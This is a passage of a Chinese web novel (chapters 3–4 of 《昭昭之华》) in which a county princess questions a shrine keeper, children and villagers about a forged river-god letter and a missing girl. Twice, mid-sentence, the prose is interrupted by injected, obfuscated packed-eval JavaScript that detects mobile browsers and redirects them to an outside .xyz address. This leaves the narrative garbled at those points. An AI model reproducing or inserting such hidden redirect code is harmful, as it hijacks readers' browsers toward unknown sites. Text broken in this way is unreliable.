《昭昭之华》 3. 第 3 章 第三章 庙祝说,她看到信时,信就放在神龛上,只有这信,既没有外封也没有信匣。 元羡流露出了一丝笑意,跪在地上的庙祝更加紧张,她微微抬头,能够从县主长到脖颈的幂篱纱罗下看到她微钩的红唇,县主可不是能被糊弄的人,庙祝紧张得握紧了拳头。 元羡再次盯着手里的河伯信看,她的商队既做陶瓷生意,也做纸张生意。 在此地,芦苇、稻草、麦秆较多,所以,出产的就是这几种材料做的纸,纸张质量并不好,呈黄色,被称为土纸。 土纸粗糙,几乎不用于写信或者著书,最多是拿给孩童练字,以及作为卫生用,或者用于包装用纸,不过,因为便宜,销路不错,也是本地乡民能见到也能用得起的纸。 而用来写信写书的纸,一般就比较贵,例如帘纹纸,剡藤纸、鱼卵纸、桑皮纸、网纸等等,当阳县里并不产这些纸,这些纸都从外地运来,供官宦豪门之家使用,普通百姓根本得不到这种纸。 即使是这河伯庙,也是用不起这些好纸的。 这封河伯信乃是用帘纹纸所写,只有信,没有外封、也没有信匣。 信可以拿张纸就写,但外封和信匣,往往是要写信的豪门士族等人家专门定制制作,上面会印有家族印记,没有任何印记的外封和信匣,不太易得,而临时去做一个带河伯印记的外封和信匣,更不现实。 这封河伯信没有外封和信匣,说明乃是仓促而成。 元羡拿着信在手里轻轻敲了敲,又朝伫立神龛之上的神像打量了几眼。 大殿里十分安静,没有人敢发出一点声音,那些来看热闹的乡民已经被部曲拦在河伯庙的台阶下面,大家都看不到庙里的情况。 元羡想了想,让范家人先出去,她要和庙祝一起同河伯做下交流。 范家人恭恭敬敬地告退了,告退前恳求县主让河伯把家里小女娘送还回来。 庙里大殿只剩下元羡,勉勉,还有两名随身婢女,以及庙祝。 其他人都受命先出去了。 元羡说:“这不是河伯写的信。你来告诉我,这是谁写的信?” 庙祝乃是一名年近四旬的女人,无子无女,此前便是此地的巫祝,后受县主之命,在河伯庙里做庙祝,一来照看整个河伯庙,二来规范祭祀,不能让本地乡民胡乱祭祀,更不允许骗取乡民钱财,除此,如果是还要像以前那样人祭河伯,更是不行,在这之外,还得记录此段沮河每日水深水面宽度情况。 庙祝带着几名弟子,弟子都是无家可归的幼童,多是女童,由县主每月拨给庙祝钱帛和粮食养活,除此,庙祝还以低价收留行商住宿,也有收入,自是比她之前做巫祝日子要好过很多。 既如此,她自然就是县主管辖之下的类似奴婢之人,要是在县主面前撒谎作乱,坏了县主的事,被打杀的话,也无人会去帮她报官。如今并非治世,天下只是稍稍太平一些而已,前几年一直打仗,普通百姓朝不保夕,庙祝可不敢在县主面前有什么侥幸心思,故而更加害怕。 庙祝恐惧地道:“奴不知。昨天下午,范家人来庙里供奉贡品,询问河伯,是否是祂带走了自家小女娘。奴还劝过他们,说自从县主到来,河伯温驯,绝不敢带走小女娘。没成想,今天早上约莫卯时初,奴来洒扫大殿,在神龛上便发现了这封信。奴识字不多,但也认得,正是河伯回信。说祂带走小女娘为妾,让凡人勿念。” 元羡道:“这信并非河伯所写,如果你在我和河伯面前撒谎,那么,就把你扔进河里去,你自己去河里向河伯悔过。” 只要被扔进河里,周围大家看着,除非溺死河中,难道会被允许上岸?庙祝吓得落泪,硬撑着道:“请县主可怜奴家,奴不敢撒谎。” 庙祝每年要给河伯写祝语,无外乎是祈愿沮河安宁,风调雨顺,五谷丰登,无灾无难,虔诚祈福等等,年年都是这些程式化的祝语,不需要多少文学修养,而纸是用元羡赏赐专用的桑皮纸,桑皮纸纸纹如棉丝,轻薄柔韧,扔进水里也不会很快散开,而这个河伯信所用纸不是庙祝之前得到的桑皮纸,加之庙祝的字也没有河伯信上的字纤秀端庄,这信当不是她写的。 元羡让她把她所知的,以及她有所怀疑的,都讲出来。 庙祝能做庙祝,不是蠢人,反而有着最底层百姓最精明之处,她当即说,那河伯写信的纸,有竖纹,细腻,柔韧,带浅黄色,阳光下如有金光,闻之有一丝淡淡香味,非是豪门大族官宦之家用不起这纸。 所以,她之前就认为这是河伯所写。 再者,上书,沮河之畔,偶遇女子,姿容秀美,温婉可人,心生怜悯,故带其回水中宫室,以其为妾,望河畔之民勿忧勿念。 这,也不是普通乡民写得出的。 如果不是河伯所书,那又该是谁人所书呢。 元羡又笑了一声,说:“你想,留信的,不是河伯,也是士族高门之人,所以不敢声张是吧。” 庙祝以头抢地,不敢作答。 元羡说:“你说得不错,这纸这字这言语,都不是普通百姓可有。” 勉勉一直侍立母亲身侧,此时仰着脑袋看了看母亲手里的纸,元羡看她要看,就把信递给她了,问:“你看出什么来了吗?” 勉勉从小耳濡目染,说:“阿母,这是用黄蘖汁染过的,原是竖帘麻纸,多是用于抄写经书,官府也多用于文书。” 虽然造纸技术已经得到很大进步,但好的纸张依然是较贵重的稀有物品,所以,士族高门,也多会学习如何分辨纸张。 勉勉虽才六七岁,但也懂怎么分辨了。 元羡说:“你说得不错。” 勉勉受到母亲鼓励,当即又骄傲又腼腆地一笑。 元羡问庙祝:“你觉得这封不是河伯所书的信,是怎么到河伯的神龛上的?” 庙祝眼珠直转,又抬头将大殿四处看了又看,开始回想,说了她的猜测。 这间大殿两边有两间小耳房,耳房都是通往后方院子,因是两进的院落,后方的院子东西厢房一边放着河伯神像,一边则是供过往行商居住,耳房的房门,往往是不关的,那么,其实昨晚住在河伯庙里的行商,都有可能进大殿里来放信。 庙祝于是说,就该是那些行商做的,她和她的弟子们,既没有这种纸,也写不出这种精妙的词句,更写不出这样一笔好字。 元羡从小床上下来,让庙祝带她去行商们居住的房间看看,又边走边让庙祝说说行商们的情况。 元羡倒不怕行商趁着这个时候逃跑,除非跑进山里为山匪,在这个区域,很少有人能够逃过官府抓捕。 河伯庙里只有两间房供行商打尖使用,这两间房处在西厢,都是通铺,一间住女客,一间住男客。 因战争频发,征丁入伍,世道纷乱,男少女多,女子独自立户也是常见,女子在外行商,也不少见。 根据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442661|185028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庙祝所说,昨晚,一共住了五名男客,六名女客,就该是这些行商的问题。 勉勉问:“为何女客比男客多?” 庙祝恭敬说:“回小主人的话,这行商,男客独自经营也成,三五人一起也成,但若是女子,多是结伴而行,故而女客多。” 元羡问:“他们都还在吗?” 庙祝道:“他们要做买卖,不敢耽搁,都走了。县主,您要发令找到他们才成。” 元羡说:“不是他们。” 庙祝满脸疑惑:“怎么会不是他们?” 她又说:“那假河伯之名写信之人又是谁呢?” 元羡说:“河伯假信上所用之墨,乃是一点如漆的好墨,写的字乃是小楷,昨天夜里,此人要在此处写就那封信,光亮不足,也无合适的案几。那信该是在别处写好,拿过来的才对。” 再者,在庙祝这里住的行商,没人长住,都是住一晚就要赶路,范家小女娘早就失踪了近三天,没道理第一天失踪,第三天的行商来这里为之前的人善后。 庙祝于是满脸苦恼,说她也不知道还能是谁了。 庙祝自己和弟子住在后院,言说实在没有听到什么声息,就想就此摆脱嫌疑,不被县主讯问,元羡则看着她问:“范家小女娘,和你熟吗?” 范家住在距离河伯庙两里地外的东坞里,离得这么近,范家小女娘不可能没有来过河伯庙。 庙祝赶紧说:“见是见过,但并不相熟。” 元羡盯着她说:“怎会不熟?” 庙祝窘迫,道:“此处小女娘甚多,奴和她并不相熟。” 元羡没有再多问她什么,而是让她出去候着,让人把她看着,便又让人叫了庙祝的那几个小弟子进来。 这是几个小孩儿,最大不过十三四岁,最小才六七岁,有一个是男童,大约十岁上下,有些许痴傻,这也对,如果不痴傻,该能去衙门登记做兵户,其他几个都是女童。 他们很害怕此间县主,纷纷跪下,不敢出声。 元羡问了他们一些问题,他们开始磕磕巴巴回答了一些,元羡让婢女把带着的琥珀糖分给他们吃,又和他们交流了几句,从他们的口中得到了更多信息。 因为天气较热,为了让河风吹进庙里来,河伯庙近期并不怎么关大门,有的行商违反禁酒令,带了私酒贩卖,庙祝看到了,但是受贿没有举报,昨天晚上,庙祝觉得后院炎热,出去过,很晚才回来。 对于范家小女娘,河伯庙里的小弟子们较熟悉,范小娘子很能干,她家里因为是窑工,所以较富裕,她经常能给河伯庙里的小弟子们带些吃的来。 范家小女娘为什么会失踪,小弟子们各有话说。 有人说是河伯看上她了,把她带走了;也有人说,她也许是落水淹死了,但这个淹死与河伯无关;还有人说,前几天,有一位贵公子来此地游玩,在船上见到采菱角的范小娘子,称赞她楚地罗敷、湘江神女,问她愿不愿意和他同游,范小娘子没有答应。后来那贵公子就来庙里找庙祝询问了范小娘子的其他情况。 元羡听了这些,从大殿的大门往外望出去,外面就是沮河,沮河虽不如长江汉水,在这夏季,到底也有浩浩汤汤之势,波光粼粼,天光云影,河畔杨柳依依,水中沙洲芳草萋萋,风景甚好。 这些小弟子又被带出去了,范家父母被带了进来。 元羡说:“我问过河伯了,河伯说没有带走你家小女娘。” 4.第 4 章 第四章 范家父母哭天抢地,说要是不是河伯带走的,那她又去了哪里,出了什么事呢,肯请县主做主。 元羡皱眉,询问范母,范小娘子和谁是朋友,把她朋友叫来。 范小娘子的好友不少,关系最好的两位被叫了进来,两人都住东坞,是年岁约莫十三四岁的小女娘,两人都肤色较黑,没穿鞋履,光着脚丫子,看着还是健康的。 朝廷规定,男二十娶,女十六嫁,但往往,无论是官宦士族,寒门庶族,抑或是平民百姓,遵循这个规定的并不多,有的男三十尚未娶,也有的女十岁便已嫁。不过,在县主庄园里,大抵要遵循这个规定,因为嫁娶要去县主府曹吏处登记,要是结婚年龄太小,会被斥责劝退。 庄园里的所有人,都觉得县主是个好人,但想到曾经有强人在县主面前闹事,被当场杀死还砍掉脑袋挂在县主坞南门外,便无人不怕她了,所以,在这县主庄园里,县主的权威大大超过皇权,基本上没有人敢明着违拗她的命令。 在别处,范小娘子虽然还没有十六,但也可以嫁了,只是在县主庄园,所以才没有嫁。 元羡询问范小娘子的两个好友,范小娘子对她和刘家三郎的婚事是否满意,可有过抱怨之词。 太阳已经升过了河边的柳树,天气渐热,元羡让婢女将自己的幂篱纱罗卷了上去,又接过另一名婢女手里的罗扇,一边给自己扇风,不时又给取下幂篱的女儿扇两扇子。 勉勉跟来看热闹,初时还充满好奇,觉得这事好玩,但很快就发现,这事不过是母亲坐在小床上,把人叫进来聊天,了解这个庄园里的大大小小的事,一会儿问这个,一会儿问那个。 她听不出什么名堂来,一下子就觉得枯燥无聊了,于是趴在母亲的膝上,一会儿看看这里,一会儿打量那里,坐没坐相,站没站相。 县主日常对女儿管教很严,不过,这种时候,她却没有呵斥女儿坐好,由着她玩闹。 那两名小女娘,被叫到县主跟前来,本来很害怕,但看县主家小主人玉雪可爱,趴在县主腿上玩闹,便又少了许多恐惧,诉说起自己所知的范家小娘子的事来。 范伯窑工手艺出色,作为窑工又不用服其他劳役,是以范家在整个东坞的日子都过得不错。 范小娘子是个大方的人,不时也拿一些吃食给她们这些姐妹吃,所以,大家都很喜欢范小娘子。 刘家也有未出嫁的小女娘,认为范小娘子这样拿家里的食物给其他姐妹吃不对,便将这种事告诉了她的兄长,也就是刘家三郎。 大家都住在一个坞堡里,断没有没成婚就不能相见或者在一起讲话的规矩,所以刘家三郎便多次斥责范小娘子,认为她不该拿家财去养活其他小女娘,这种行为无异于败家。 范小娘子虽然答应了,但是和姐妹们在一起时,没有办法明知姐妹在家里没有吃食也不给一点,所以,不时还是会偷偷给她们一些吃的。 范小娘子水性非常好,能下水捞鱼,采菱角也比别人多,也愿意将自己抓到的鱼和采到的菱角分给其他人一些,如此等等。 如此一看,这范小女娘倒是个女中豪杰,很会拉拢人。 两个小女娘很显然把范小娘子当成自己的偶像了,一直强调范小娘子是多么好的朋友。 元羡并不打断两人分明偏题的话,直到两人自己停了下来。 元羡又问两人知不知道范小娘子在哪里失踪,为何失踪。 两人互相看看对方,都表示不知道。 元羡只好换了个问法,询问范小娘子失踪那天,是否和她们在一起相处过,是否有任何和平常不一样的表现。 两人这才又说起大前天的事,她们早上一起到河里浣洗衣物,下午又去紫菱洲上摘过菱角,不过,她们都先走了,范小娘子要再采一些芦苇根才回家,她说她阿父在窑坊做工,容易上火,所以喜欢用芦苇根煮水喝,因此,她比她们离开得晚。在之后,她们就没有见过范小娘子了,她约莫就是这样失踪的,但是否就是在河里不见的,她们却是不知。而范小娘子那天是否反常,大家又不觉得反常,因为每日都那样。 说到芦苇根,勉勉则抬起了脑袋,对元羡说:“母亲,我想吃芦苇根炖鸭。” 元羡看了看她,让婢女回去后吩咐灶房做芦苇根炖鸭吃。 这是千里湖泽之地,河畔芦苇根很多,水鸭也是最易得的禽类,不是什么难得的山珍海味。 两个小女娘听到庄园小主人居然要吃这样的平民食物,多有些吃惊,她们本来以为威仪如天仙、美丽似神女的县主和玉雪可爱的尊贵小主人平常会吃一些她们不知道没见过的食物。 元羡唠家常似的,又问起范小娘子失踪后,东坞以及这个河伯庙里的小弟子们的表现,大家都是什么情况。 两个小女娘和县主说得多了,发现县主很温柔和蔼,甚至比她们自家阿娘还要亲切,也就没了初时那些紧张,能够多说一些话。 元羡又让仆婢煮了芦苇根鲜莲子蜜水端进来,自己和女儿慢慢喝着,又让给两个小女娘也端了,两个小女娘光着脚板跪坐在芦苇蒲草蒲团上,一边吃喝一边讲东坞里的故事。 两个小女娘没有庙祝那么多心眼,又不像范家父母那样害怕县主,所以讲话没有忌惮,什么都能讲。 除了县主的绿桑坞,在这个庄园里还有拱卫绿桑坞的东南西北四坞,这四坞里,就属东坞最靠近沮河,最大最有钱,事也最多。 县主听了一堆东坞里各族各家的事,也不打断两个小女娘,由着她们细说。 人有好人,也有坏人,好人有好的一面也有坏的一面,坏人有坏的一面也有好的一面。 对于范家女娘失踪,东坞里的人,有的幸灾乐祸,也有的替范家难过着急,不过,不管怎么样,在范家将女娘失踪之事闹到东坞的管理者坞主那里去后,坞主就让所有人都帮忙在周围找了人,只是没有找到。直到有人提出,会不会是被河伯带走了。 美丽的女娘溺水而死,也会被说成是被河伯带走。 要是真的溺死了,有的能找到尸体,有的不能。 按照流程,范家父母就来了河伯庙询问,不管是不是真的溺死了,河伯都不该有一张回信。 总之,这事里还牵扯着写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444919|185028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信的人,庙祝是脱不开干系的。 河伯庙里的小弟子们基本上都是小女孩,两个小女娘也和她们些许熟悉,不过,庙祝对小弟子们管得很严,所以她们在一起玩得不多。 听完了两个小女娘讲的情况,县主便让婢女拿五铢钱打赏了她们,还说现在绿桑坞里授业纺织,让她们回家和父母讲讲此事,之后可到织坊去学习和做工,这样比在家里种地要更有出息。 两人赶紧道谢,表示愿意去学纺织,在行礼告退后,其中一个小女娘走到大殿门口,又回头看向县主。 大殿里被上午的阳光照得很是亮堂,县主在漫射的微光里,如仙如神。 小女娘问:“县主,能找回范家阿姊吗?” 县主握着罗扇,说:“不一定。” 小女娘流露出一丝失落,但很快又打起精神来,说:“县主能来,已是范家阿姊平日积德。” 县主握着手里的罗扇,紧了一紧,又放松,挥扇让她们离开,便又让人叫东坞坞主前来回话。 被告知东坞坞主进县城里去了,县主一想,要是坞主在,估计不会让范家人把这事闹到她跟前来,虽然她说过,有任何不平事都可以来找她。 县主于是让叫坞主身边的管事前来回话。 这位管事乃是一名三十岁出头的妇人,县主庄园里不少管事都是妇人,此人时常也去县主跟前回话汇报事务,为人精明老道,此时见到县主便拜倒。 她是随县主从北方南下的人,算是“娘家人”,以前在元家时,便知书识礼,随县主南下后,还作为坞堡里的老师教人文化和规矩,一向便自视甚高。 她一来就对县主滔滔不绝,大意是要请罪,说东坞范家一家没有规矩,自家女儿溺水死了,被河伯带走,却将此事闹到县主跟前去,让县主和小主人劳累,范家不过是想要补偿而已。 “补偿?”县主看着她。 管事又滔滔不绝,一口认定范家就是想要补偿。 县主庄园毗邻沮河,在沮河西北岸,这里的人,大多会泅水,甚至连县主本人和小主人都会泅水,但是,淹死的往往就是会泅水的人,每年淹死在沮河里的庄园乡民不会少,即使没有五六个,两三个也会有。 既然如此,那范家小女娘溺水而死,也是寻常。 没找到尸首? 每年溺死那么多人,水面辽远广阔,总有找不到尸首的,这也不奇怪。 范家之前把女儿许给刘家,已经纳彩、问名、纳吉,只等纳征、请期后迎娶,而范伯作为窑工手艺高超,在窑坊里可为二品,刘家三郎要娶范家女娘,便开始跟着范伯学艺,那纳彩的钱里,可是包含学艺费的,是一笔不少的钱,如今刘家三郎认为自己艺成,范家女郎又失踪,不就正好把彩礼要回来吗? 管事说着,连勉勉都听入迷了。在大殿里伺候的几名婢女听着这种事,也都精神为之一振。 县主没有接话,停顿了好一会儿,她用罗扇轻轻扇了扇香几上的羽人博山炉,看着博山炉里飘出的寥寥香烟,说:“那指出范家小女娘是被河伯带走,让范家父母来河伯庙询问河伯的人是谁?”